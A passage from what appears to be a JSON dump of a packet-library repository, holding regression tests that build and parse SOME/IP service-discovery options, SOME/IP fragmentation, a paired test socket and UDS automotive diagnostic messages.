0x222222\nea2.eventgroup_id = 0x1357\n\nsd1 = SD()\nsd1.set_entryArray([ea1])\n# this is computed on build, but we need it sooner for the assert \nsd1.len_entry_array = 16\nsd1.len_option_array = 0\n\nassert sd1.show(dump=True) == SD(sd1.build()).show(dump=True)\n\n= Double SD entry\nsd2 = SD()\nsd2.set_entryArray([ea2,ea1])\n# this is computed on build, but we need it sooner for the assert \nsd2.len_entry_array = 32\nsd2.len_option_array = 0\n\nassert sd2.show(dump=True) == SD(sd2.build()).show(dump=True)\n\n= Flipped double SD entry\n# flip the order\nsd2.set_entryArray([ea1,ea2])\nassert sd2.show(dump=True) == SD(sd2.build()).show(dump=True)\n\n\n\n\n\n+ SD Options (individual)\n= Verifying constants against spec\nassert SDOPTION_CFG_TYPE == 0x01\nassert SDOPTION_LOADBALANCE_TYPE == 0x02\nassert SDOPTION_LOADBALANCE_LEN == 0x05\nassert SDOPTION_IP4_ENDPOINT_TYPE == 0x04\nassert SDOPTION_IP4_ENDPOINT_LEN == 0x0009\nassert SDOPTION_IP4_MCAST_TYPE == 0x14\nassert SDOPTION_IP4_MCAST_LEN == 0x0009\nassert SDOPTION_IP4_SDENDPOINT_TYPE == 0x24\nassert SDOPTION_IP4_SDENDPOINT_LEN == 0x0009\nassert SDOPTION_IP6_ENDPOINT_TYPE == 0x06\nassert SDOPTION_IP6_ENDPOINT_LEN == 0x0015\nassert SDOPTION_IP6_MCAST_TYPE == 0x16\nassert SDOPTION_IP6_MCAST_LEN == 0x0015\nassert SDOPTION_IP6_SDENDPOINT_TYPE == 0x26\nassert SDOPTION_IP6_SDENDPOINT_LEN == 0x0015\n\n### SDOption_Config\n= SDOption_Config: Verify make_string() method from dict\ndata = { \"hello\": \"world\" }\nout = SDOption_Config.make_string(data)\nassert out == b\"\\x0bhello=world\\x00\"\n\n= SDOption_Config: Verify make_string() method from list\ndata = [\n\t(\"x\", \"y\"),\n\t(\"abc\", \"def\"),\n\t(\"123\", \"456\")\n]\nout = SDOption_Config.make_string(data)\nassert out == b\"\\x03x=y\\x07abc=def\\x07123=456\\x00\"\n\n= SDOption_Config: Build and dissect empty\nopt = SDOption_Config()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x02\\x01\\x00\\x00\"\n\nopt = SDOption_Config(optraw)\nassert opt.len == 0x2\nassert opt.type == SDOPTION_CFG_TYPE\nassert opt.res_hdr == 0x0\nassert opt.cfg_str == b\"\\x00\"\n\n= SDOption_Config: Build and dissect spec example\ntststr = b\"\\x05abc=x\\x07def=123\\x00\"\nopt = SDOption_Config(cfg_str=tststr)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x10\\x01\\x00\" + tststr\n\nopt = SDOption_Config(optraw)\nassert opt.len == 0x10\nassert opt.type == SDOPTION_CFG_TYPE\nassert opt.res_hdr == 0x00\nassert opt.cfg_str == tststr\n\n= SDOption_Config: Build and dissect fully populated\ntststr = b\"abcdefghijklmnopqrstuvwxyz\"\nopt = SDOption_Config(len=0x1234, type=0x56, res_hdr=0x78, cfg_str=tststr)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\" + tststr\n\nopt = SDOption_Config(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.cfg_str == tststr\n\n\n### SDOption_LoadBalance\n= SDOption_LoadBalance: Build and dissect empty\nopt = SDOption_LoadBalance()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x05\\x02\\x00\\x00\\x00\\x00\\x00\"\n\nopt = SDOption_LoadBalance(optraw)\nassert opt.len == SDOPTION_LOADBALANCE_LEN\nassert opt.type == SDOPTION_LOADBALANCE_TYPE\nassert opt.res_hdr == 0x0\nassert opt.priority == 0x0\nassert opt.weight == 0x0\n\n= SDOption_LoadBalance: Build and dissect example\nopt = SDOption_LoadBalance(priority=0x1234, weight=0x5678)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x05\\x02\\x00\\x12\\x34\\x56\\x78\"\n\nopt = SDOption_LoadBalance(optraw)\nassert opt.len == SDOPTION_LOADBALANCE_LEN\nassert opt.type == SDOPTION_LOADBALANCE_TYPE\nassert opt.res_hdr == 0x00\nassert opt.priority == 0x1234\nassert opt.weight == 0x5678\n\n= SDOption_LoadBalance: Build and dissect fully populated\nopt = SDOption_LoadBalance(len=0x1234, type=0x56, res_hdr=0x78, priority=0x9abc, weight=0xdef0)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\\x9a\\xbc\\xde\\xf0\"\n\nopt = SDOption_LoadBalance(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.priority == 0x9abc\nassert opt.weight == 0xdef0\n\n\n### SDOption_IP4_EndPoint\n= SDOption_IP4_EndPoint: Build and dissect empty\nopt = SDOption_IP4_EndPoint()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\"\n\nopt = SDOption_IP4_EndPoint(optraw)\nassert opt.len == SDOPTION_IP4_ENDPOINT_LEN\nassert opt.type == SDOPTION_IP4_ENDPOINT_TYPE\nassert opt.res_hdr == 0x0\nassert opt.addr == \"0.0.0.0\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x11\nassert opt.port == 0x0\n\n\n= SDOption_IP4_EndPoint: Build and dissect example\nopt = SDOption_IP4_EndPoint(addr = \"192.168.123.45\", l4_proto = \"TCP\", port = 0x1234)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x09\\x04\\x00\\xc0\\xa8\\x7b\\x2d\\x00\\x06\\x12\\x34\"\n\nopt = SDOption_IP4_EndPoint(optraw)\nassert opt.len == SDOPTION_IP4_ENDPOINT_LEN\nassert opt.type == SDOPTION_IP4_ENDPOINT_TYPE\nassert opt.res_hdr == 0x00\nassert opt.addr == \"192.168.123.45\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x06\nassert opt.port == 0x1234\n\n= SDOption_IP4_EndPoint: Build and dissect fully populated\nopt = SDOption_IP4_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = \"11.22.33.44\", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\\x0b\\x16\\x21\\x2c\\x9a\\xbc\\xde\\xf0\"\n\nopt = SDOption_IP4_EndPoint(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.addr == \"11.22.33.44\"\nassert opt.res_tail == 0x9a\nassert opt.l4_proto == 0xbc\nassert opt.port == 0xdef0\n\n\n### SDOption_IP4_Multicast\n= SDOption_IP4_Multicast: Build and dissect empty\nopt = SDOption_IP4_Multicast()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x09\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\"\n\nopt = SDOption_IP4_Multicast(optraw)\nassert opt.len == SDOPTION_IP4_MCAST_LEN\nassert opt.type == SDOPTION_IP4_MCAST_TYPE\nassert opt.res_hdr == 0x0\nassert opt.addr == \"0.0.0.0\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x11\nassert opt.port == 0x0\n\n\n= SDOption_IP4_Multicast: Build and dissect example\nopt = SDOption_IP4_Multicast(addr = \"192.168.123.45\", l4_proto = \"TCP\", port = 0x1234)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x09\\x14\\x00\\xc0\\xa8\\x7b\\x2d\\x00\\x06\\x12\\x34\"\n\nopt = SDOption_IP4_Multicast(optraw)\nassert opt.len == SDOPTION_IP4_MCAST_LEN\nassert opt.type == SDOPTION_IP4_MCAST_TYPE\nassert opt.res_hdr == 0x00\nassert opt.addr == \"192.168.123.45\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x06\nassert opt.port == 0x1234\n\n= SDOption_IP4_Multicast: Build and dissect fully populated\nopt = SDOption_IP4_Multicast(len=0x1234, type=0x56, res_hdr=0x78, addr = \"11.22.33.44\", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\\x0b\\x16\\x21\\x2c\\x9a\\xbc\\xde\\xf0\"\n\nopt = SDOption_IP4_Multicast(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.addr == \"11.22.33.44\"\nassert opt.res_tail == 0x9a\nassert opt.l4_proto == 0xbc\nassert opt.port == 0xdef0\n\n\n### SDOption_IP4_SD_EndPoint\n= SDOption_IP4_SD_EndPoint: Build and dissect empty\nopt = SDOption_IP4_SD_EndPoint()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x09\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\"\n\nopt = SDOption_IP4_SD_EndPoint(optraw)\nassert opt.len == SDOPTION_IP4_SDENDPOINT_LEN\nassert opt.type == SDOPTION_IP4_SDENDPOINT_TYPE\nassert opt.res_hdr == 0x0\nassert opt.addr == \"0.0.0.0\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x11\nassert opt.port == 0x0\n\n\n= SDOption_IP4_SD_EndPoint: Build and dissect example\nopt = SDOption_IP4_SD_EndPoint(addr = \"192.168.123.45\", l4_proto = \"TCP\", port = 0x1234)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x09\\x24\\x00\\xc0\\xa8\\x7b\\x2d\\x00\\x06\\x12\\x34\"\n\nopt = SDOption_IP4_SD_EndPoint(optraw)\nassert opt.len == SDOPTION_IP4_SDENDPOINT_LEN\nassert opt.type == SDOPTION_IP4_SDENDPOINT_TYPE\nassert opt.res_hdr == 0x00\nassert opt.addr == \"192.168.123.45\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x06\nassert opt.port == 0x1234\n\n= SDOption_IP4_SD_EndPoint: Build and dissect fully populated\nopt = SDOption_IP4_SD_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = \"11.22.33.44\", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\\x0b\\x16\\x21\\x2c\\x9a\\xbc\\xde\\xf0\"\n\nopt = SDOption_IP4_SD_EndPoint(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.addr == \"11.22.33.44\"\nassert opt.res_tail == 0x9a\nassert opt.l4_proto == 0xbc\nassert opt.port == 0xdef0\n\n### SDOption_IP6_EndPoint\n= SDOption_IP6_EndPoint: Build and dissect empty\nopt = SDOption_IP6_EndPoint()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x15\\x06\\x00\" + b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + b\"\\x00\\x11\\x00\\x00\"\n\nopt = SDOption_IP6_EndPoint(optraw)\nassert opt.len == SDOPTION_IP6_ENDPOINT_LEN\nassert opt.type == SDOPTION_IP6_ENDPOINT_TYPE\nassert opt.res_hdr == 0x0\nassert opt.addr == \"::\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x11\nassert opt.port == 0x0\n\n\n= SDOption_IP6_EndPoint: Build and dissect example\nopt = SDOption_IP6_EndPoint(addr = \"2001:cdba::3257:9652\", l4_proto = \"TCP\", port = 0x1234)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x15\\x06\\x00\" + b\"\\x20\\x01\\xcd\\xba\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x32\\x57\\x96\\x52\" + b\"\\x00\\x06\\x12\\x34\"\n\nopt = SDOption_IP6_EndPoint(optraw)\nassert opt.len == SDOPTION_IP6_ENDPOINT_LEN\nassert opt.type == SDOPTION_IP6_ENDPOINT_TYPE\nassert opt.res_hdr == 0x00\nassert opt.addr == \"2001:cdba::3257:9652\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x06\nassert opt.port == 0x1234\n\n= SDOption_IP6_EndPoint: Build and dissect fully populated\nopt = SDOption_IP6_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = \"1234:5678:9abc:def0:0fed:cba9:8765:4321\", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\" + b\"\\x12\\x34\\x56\\x78\\x9a\\xbc\\xde\\xf0\\x0f\\xed\\xcb\\xa9\\x87\\x65\\x43\\x21\" + b\"\\x9a\\xbc\\xde\\xf0\"\n\nopt = SDOption_IP6_EndPoint(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.addr == \"1234:5678:9abc:def0:fed:cba9:8765:4321\"\nassert opt.res_tail == 0x9a\nassert opt.l4_proto == 0xbc\nassert opt.port == 0xdef0\n\n\n### SDOption_IP6_Multicast\n= SDOption_IP6_Multicast: Build and dissect empty\nopt = SDOption_IP6_Multicast()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x15\\x16\\x00\" + b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + b\"\\x00\\x11\\x00\\x00\"\n\nopt = SDOption_IP6_Multicast(optraw)\nassert opt.len == SDOPTION_IP6_MCAST_LEN\nassert opt.type == SDOPTION_IP6_MCAST_TYPE\nassert opt.res_hdr == 0x0\nassert opt.addr == \"::\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x11\nassert opt.port == 0x0\n\n\n= SDOption_IP6_Multicast: Build and dissect example\nopt = SDOption_IP6_Multicast(addr = \"2001:cdba::3257:9652\", l4_proto = \"TCP\", port = 0x1234)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x15\\x16\\x00\" + b\"\\x20\\x01\\xcd\\xba\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x32\\x57\\x96\\x52\" + b\"\\x00\\x06\\x12\\x34\"\n\nopt = SDOption_IP6_Multicast(optraw)\nassert opt.len == SDOPTION_IP6_MCAST_LEN\nassert opt.type == SDOPTION_IP6_MCAST_TYPE\nassert opt.res_hdr == 0x00\nassert opt.addr == \"2001:cdba::3257:9652\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x06\nassert opt.port == 0x1234\n\n= SDOption_IP6_Multicast: Build and dissect fully populated\nopt = SDOption_IP6_Multicast(len=0x1234, type=0x56, res_hdr=0x78, addr = \"1234:5678:9abc:def0:0fed:cba9:8765:4321\", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\" + b\"\\x12\\x34\\x56\\x78\\x9a\\xbc\\xde\\xf0\\x0f\\xed\\xcb\\xa9\\x87\\x65\\x43\\x21\" + b\"\\x9a\\xbc\\xde\\xf0\"\n\nopt = SDOption_IP6_Multicast(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.addr == \"1234:5678:9abc:def0:fed:cba9:8765:4321\"\nassert opt.res_tail == 0x9a\nassert opt.l4_proto == 0xbc\nassert opt.port == 0xdef0\n\n\n### SDOption_IP6_SD_EndPoint\n= SDOption_IP6_SD_EndPoint: Build and dissect empty\nopt = SDOption_IP6_SD_EndPoint()\noptraw = opt.build()\nassert optraw == b\"\\x00\\x15\\x26\\x00\" + b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + b\"\\x00\\x11\\x00\\x00\"\n\nopt = SDOption_IP6_SD_EndPoint(optraw)\nassert opt.len == SDOPTION_IP6_SDENDPOINT_LEN\nassert opt.type == SDOPTION_IP6_SDENDPOINT_TYPE\nassert opt.res_hdr == 0x0\nassert opt.addr == \"::\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x11\nassert opt.port == 0x0\n\n\n= SDOption_IP6_SD_EndPoint: Build and dissect example\nopt = SDOption_IP6_SD_EndPoint(addr = \"2001:cdba::3257:9652\", l4_proto = \"TCP\", port = 0x1234)\noptraw = opt.build()\nassert optraw == b\"\\x00\\x15\\x26\\x00\" + b\"\\x20\\x01\\xcd\\xba\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x32\\x57\\x96\\x52\" + b\"\\x00\\x06\\x12\\x34\"\n\nopt = SDOption_IP6_SD_EndPoint(optraw)\nassert opt.len == SDOPTION_IP6_SDENDPOINT_LEN\nassert opt.type == SDOPTION_IP6_SDENDPOINT_TYPE\nassert opt.res_hdr == 0x00\nassert opt.addr == \"2001:cdba::3257:9652\"\nassert opt.res_tail == 0x0\nassert opt.l4_proto == 0x06\nassert opt.port == 0x1234\n\n= SDOption_IP6_SD_EndPoint: Build and dissect fully populated\nopt = SDOption_IP6_SD_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = \"1234:5678:9abc:def0:0fed:cba9:8765:4321\", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0)\noptraw = opt.build()\nassert optraw == b\"\\x12\\x34\\x56\\x78\" + b\"\\x12\\x34\\x56\\x78\\x9a\\xbc\\xde\\xf0\\x0f\\xed\\xcb\\xa9\\x87\\x65\\x43\\x21\" + b\"\\x9a\\xbc\\xde\\xf0\"\n\nopt = SDOption_IP6_SD_EndPoint(optraw)\nassert opt.len == 0x1234\nassert opt.type == 0x56\nassert opt.res_hdr == 0x78\nassert opt.addr == \"1234:5678:9abc:def0:fed:cba9:8765:4321\"\nassert opt.res_tail == 0x9a\nassert opt.l4_proto == 0xbc\nassert opt.port == 0xdef0\n\n= verify building and parsing of multiple SDOptions\ndef _opts_check(opts):\n\toptslen = sum([len(o) for o in opts])\n\tsd = SD()\n\tsd.set_optionArray(opts)\n\tsd.len_entry_array = 0\n\tsd.len_option_array = optslen\n\tsd.show()\n\tSD(sd.build()).show()\n\tassert sd.show(dump=True) == SD(sd.build()).show(dump=True)\n\n# options are built and reparsed, to make sure all is calculated\nopts = [\n\tSDOption_Config(SDOption_Config(cfg_str=\"hello world\").build()),\n\tSDOption_LoadBalance(SDOption_LoadBalance().build()),\n\tSDOption_IP4_EndPoint(SDOption_IP4_EndPoint().build()),\n\tSDOption_IP4_Multicast(SDOption_IP4_Multicast().build()),\n\tSDOption_IP4_SD_EndPoint(SDOption_IP4_SD_EndPoint().build()),\n\tSDOption_IP6_EndPoint(SDOption_IP6_EndPoint().build()),\n\tSDOption_IP6_Multicast(SDOption_IP6_Multicast().build()),\n\tSDOption_IP6_SD_EndPoint(SDOption_IP6_SD_EndPoint().build()),\n]\n_opts_check(opts[0:0])\n_opts_check(opts[0:2])\n_opts_check(opts)\n_opts_check(opts[::-1])\n_opts_check(opts + opts[::-1])\n\n\n= build test SOMEIP/TP\n\np = SOMEIP(srv_id=1234, sub_id=4321, msg_type=0xff, retcode=0xff, offset=4294967040, data=[Raw(b\"deadbeef\")])\n\nassert p.data[0].load == b\"deadbeef\"\n\n= test fragment\n\nmsg = bytes.fromhex(\"aabbccdd0003aabbccdd20608100a5dc0800450005a050ad400040117ee9c0a87262c0a872037725e107058c6b54402f801e0000057c0000000e0101220000000001123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210fedcba9876543210a1b2c3d4e5f678901234567890abcdef0f1e2d3c4b5a697889abcdef01234567f0e1d2c3b4a59687111122223333444455556666777788889999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef1122334455667788a1b2c3d4e5f6f7f823456789abcdef0199887766554433221a2b3c4d5e6f7a8beaf1234567890deffedcba987654321001f23e45d6789abce1f2d3c4b5a6d7e8c9a1b2f3e4d5a6b7d8e1f0a2b3c4d5e623a1b2c3d4e5f678f23456789abcdef09876543210abcdefabcdef012345678987654321f0e1d2c312f34d56a78b9c019a8b7c6d5e4f3a2b56789abcdef0123423456789abcdef01a1b2c3d4e5f678909876543210abcdefabcdef0123456789f23456789abcdef099887766554433221a2b3c4d5e6f7a8bf0e1d2c3b4a59687abcdef9876543210234567890abcdef19999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef111122223333444455556666777788889999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef1122334455667788a1b2c3d4e5f6f7f823456789abcdef0199887766554433221a2b3c4d5e6f7a8beaf1234567890deffedcba987654321001f23e45d6789abce1f2d3c4b5a6d7e8c9a1b2f3e4d5a6b7d8e1f0a2b3c4d5e623a1b2c3d4e5f678f23456789abcdef09876543210abcdefabcdef012345678987654321f0e1d2c312f34d56a78b9c019a8b7c6d5e4f3a2b56789abcdef0123423456789abcdef01a1b2c3d4e5f678909876543210abcdefabcdef0123456789f23456789abcdef099887766554433221a2b3c4d5e6f7a8bf0e1d2c3b4a59687abcdef9876543210234567890abcdef19999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef111122223333444455556666777788889999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef1122334455667788a1b2c3d4e5f6f7f823456789abcdef0199887766554433221a2b3c4d5e6f7a8beaf1234567890deffedcba987654321001f23e45d6789abce1f2d3c4b5a6d7e8c9a1b2f3e4d5a6b7d8e1f0a2b3c4d5e623a1b2c3d4e5f678f23456789abcdef09876543210abcdefabcdef0123456789123456789abcdef01a2b3c4d5e6f70819a8b7c6d5e4f3a21d1c2b3a4f5e60798a9b8c7d6e5f4f3d2123456789abcdef01f2e3d4c5b6a7980a4b3c2d1e0f1f8a9456789abcdef0123f1e2d3c4b5a60789d6c5b4a3f2e1f0a91e2d3c4b5a6078f09c8b7a6d5e4f3b212b1a3c4d5e6f7081a7b8c9d6e5f4f0d2f5e4d3c2b1a0798a8123456789abcdef1f2e3d4c5b6a7981a3b2c1d0f1e607929081726354abcdef0f1e2d3c4b5a60788b7a6c5d4e3f2109d4c3b2a1f0e6078a4f5e6d7c8b9a1234e9d8c7b6a5f4e308a1b2c3d4e5f678909c8b7a6d5e4f32103b2a1c0d5e6f7098a0b1c2d3e4f5e6176d5e4f3c2b1a7890d7c8b9a0f1e2f390f1e2d3c4b5a607899b8a7c6d5e4f3211d3c2b1a0f1e6078b8f9e6d7c5b4a3210b2c1a3d4e5f6f8090e1d2c3b4a5f6789c9b8a7d6e5f4e3087d6c5b4a3f2e10989a8b7c6d5e4f32106e5d4c3b2a1f70980a9b8c7d6e5f4d023e1f2d4c5b6a70988f9e7d6c5b4a3102\")\npkt = Ether(msg)[SOMEIP]\n\nx = pkt.fragment(fragsize=100)\nfor i, p in enumerate(x):\n\tif i == len(x) -1:\n\t\tassert p.more_seg == 0\n\t\tassert len(p.data[0]) < 100\n\telse:\n\t\tassert p.more_seg == 1\n\t\tassert len(p.data[0]) == 100\n\n= SOMEIP multiple frames in one TCP/UDP\n\npayload_3 = bytes.fromhex(\"deadbeef\")\nsomeip_3 = SOMEIP(srv_id=0xabcd, sub_id=0x8001, len=8 + len(payload_3))\nsomeip_3.payload = Raw(load=payload_3)\n\npayload_2 = bytes.fromhex(\"ff\")\nsomeip_23 = SOMEIP(srv_id=0x5678, sub_id=0x8002, len=8 + len(payload_2))\nsomeip_23.payload = Raw(load=payload_2 + bytes(someip_3))\n\npayload_1 = bytes.fromhex(\"0000\")\nsomeip_123 = SOMEIP(srv_id=0x1234, sub_id=0x8001, len=8 + len(payload_1))\nsomeip_123.payload = Raw(load=payload_1 + bytes(someip_23))\n\neth_frame = (\n    Ether(src=\"00:11:22:33:44:55\", dst=\"AA:BB:CC:DD:EE:FF\")\n    / IP(src=\"192.168.0.10\", dst=\"192.168.0.20\")\n    / UDP(sport=30501, dport=30491)\n    / someip_123\n)\n\npkt = Ether(bytes(eth_frame))\n\n\npkt.show()\nlayers = pkt.layers()\nassert len(layers) == 6\nassert layers[-1] == SOMEIP\nassert layers[-2] == SOMEIP\nassert layers[-3] == SOMEIP\n\n\nsomeip_123_x = pkt[SOMEIP]\n\nassert someip_123_x.data[0].load == payload_1\nsomeip_23_x = someip_123_x.payload\nassert someip_23_x.data[0].load == payload_2\nsomeip_3_x = someip_23_x.payload\nassert someip_3_x.data[0].load == payload_3\n\n"
  },
  {
    "path": "test/contrib/automotive/testsocket.uts",
    "content": "% Regression tests for TestSocket\n\n+ Configuration\n~ conf\n\n= Imports\n\nfrom test.testsocket import TestSocket, cleanup_testsockets\n\n= Create Dummy Packet\n\nclass TestPacket(Packet):\n    fields_desc = [\n        IntField(\"identifier\", 0),\n        StrField(\"data\", b\"\")\n    ]\n    def answers(self, other):\n        if other.__class__ != self.__class__:\n            return False\n        if self.identifier % 2:\n            return False\n        if self.identifier == (other.identifier + 1):\n            return True\n        return False\n    def hashret(self):\n        return struct.pack('I', self.identifier + (self.identifier % 2))\n\n\n= Create Sockets\n\nsender = TestSocket(TestPacket)\nreceiver = TestSocket(TestPacket)\nsender.pair(receiver)\n\n+ Basic tests\n\n= Simple ping pong\n\ndef create_answer(p):\n    ans = TestPacket(identifier=p.identifier + 1, data=p.data + b\"_answer\")\n    receiver.send(ans)\n\nt = AsyncSniffer(timeout=50, prn=create_answer, opened_socket=receiver)\nt.start()\n\npks = PacketList()\n\nfor i in range(1, 2000, 2):\n    txp = TestPacket(identifier=i, data=b\"hello\"*i)\n    rxp = sender.sr1(txp, verbose=False, timeout=0.5)\n    pks.append(txp)\n    pks.append(rxp)\n\nt.stop(join=True)\nconvs = pks.sr()\n\nsender.close()\nreceiver.close()\n\nassert len(t.results) == 1000\nassert len(pks) == 2000\nassert len(convs[0]) == 1000\n\n= Simple ping pong with sr with packet generator 500\n\ntestlen = 500\n\nsender = TestSocket(TestPacket)\nreceiver = TestSocket(TestPacket)\nsender.pair(receiver)\n\nt = AsyncSniffer(timeout=10, prn=create_answer, opened_socket=receiver)\nt.start()\n\ntxp = TestPacket(identifier=range(1, testlen * 2, 2), data=b\"test1\")\nrxp = sender.sr(txp, timeout=10, verbose=False, prebuild=True)\nt.stop(join=True)\n\nprint(rxp)\nprint(rxp[0].summary())\n\nsender.close()\nreceiver.close()\n\nassert len(t.results) == testlen\nassert len(rxp[0]) == testlen\n\n= Simple ping pong with sr with generated packets\n\nsender = TestSocket(TestPacket)\nreceiver = TestSocket(TestPacket)\nsender.pair(receiver)\n\nt = AsyncSniffer(timeout=10, prn=create_answer, opened_socket=receiver)\nt.start()\n\ntxp = [TestPacket(identifier=i, data=b\"hello\") for i in range(1, 2000, 2)]\nrxp = sender.sr(txp, timeout=10, verbose=False)\nt.stop(join=True)\n\nprint(rxp)\nassert len(t.results) == 1000\nassert len(rxp[0]) == 1000\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()"
  },
  {
    "path": "test/contrib/automotive/uds.uts",
    "content": "% Regression tests for the UDS layer\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ Basic operations\n\n= Load module\nload_contrib(\"automotive.uds\", globals_dict=globals())\nload_contrib(\"automotive.ecu\", globals_dict=globals())\n\nfrom scapy.contrib.automotive.uds_ecu_states import *\n\n= Check if positive response answers\n\ndsc = UDS(b'\\x10')\ndscpr = UDS(b'\\x50')\nassert dscpr.answers(dsc)\n\n= Check hashret\ndsc.hashret() == dscpr.hashret()\n\n= Check if negative response answers\n\ndsc = UDS(b'\\x10')\nneg = UDS(b'\\x7f\\x10\\x00')\nassert neg.answers(dsc)\n\n= CHECK hashret NEG\ndsc.hashret() == neg.hashret()\n\n= Check if negative response answers not\n\ndsc = UDS(b'\\x10')\nneg = UDS(b'\\x7f\\x11\\x00')\nassert not neg.answers(dsc)\n\n= Check if positive response answers not\n\ndsc = UDS(b'\\x10')\nsomePacket = UDS(b'\\x49')\nassert not somePacket.answers(dsc)\n\n= Check UDS_DSC\n\ndsc = UDS(b'\\x10\\x01')\nassert dsc.service == 0x10\nassert dsc.diagnosticSessionType == 0x01\n\n= Check UDS_DSC\n\ndsc = UDS()/UDS_DSC(b'\\x01')\nassert dsc.service == 0x10\nassert dsc.diagnosticSessionType == 0x01\n\n= Check UDS_DSCPR\n\ndscpr = UDS(b'\\x50\\x02beef')\nassert dscpr.service == 0x50\nassert dscpr.diagnosticSessionType == 0x02\n\nassert not dscpr.answers(dsc)\n\n= Check UDS_DSCPR\n\ndscpr = UDS()/UDS_DSCPR(b'\\x01beef')\nassert dscpr.service == 0x50\nassert dscpr.diagnosticSessionType == 0x01\nassert dscpr.sessionParameterRecord == b\"beef\"\n\nassert dscpr.answers(dsc)\n\n= Check UDS_DSC\n\ndsc = UDS()/UDS_DSC(b'\\x01')\nassert dsc.service == 0x10\nassert dsc.diagnosticSessionType == 0x01\n\n= Check UDS_DSCPR\n\ndscpr = UDS()/UDS_DSCPR(b'\\x01beef')\nassert dscpr.service == 0x50\nassert dscpr.diagnosticSessionType == 0x01\nassert dscpr.sessionParameterRecord == b\"beef\"\n\nassert dscpr.answers(dsc)\n\n= Check UDS_DSC modifies ecu state\n\ndsc = UDS()/UDS_DSC(b'\\x09')\nassert dsc.service == 0x10\nassert dsc.diagnosticSessionType == 0x09\n\n= Check UDS_DSCPR modifies ecu state\n\ndscpr = UDS()/UDS_DSCPR(b'\\x09beef')\nassert dscpr.service == 0x50\nassert dscpr.diagnosticSessionType == 0x09\nassert 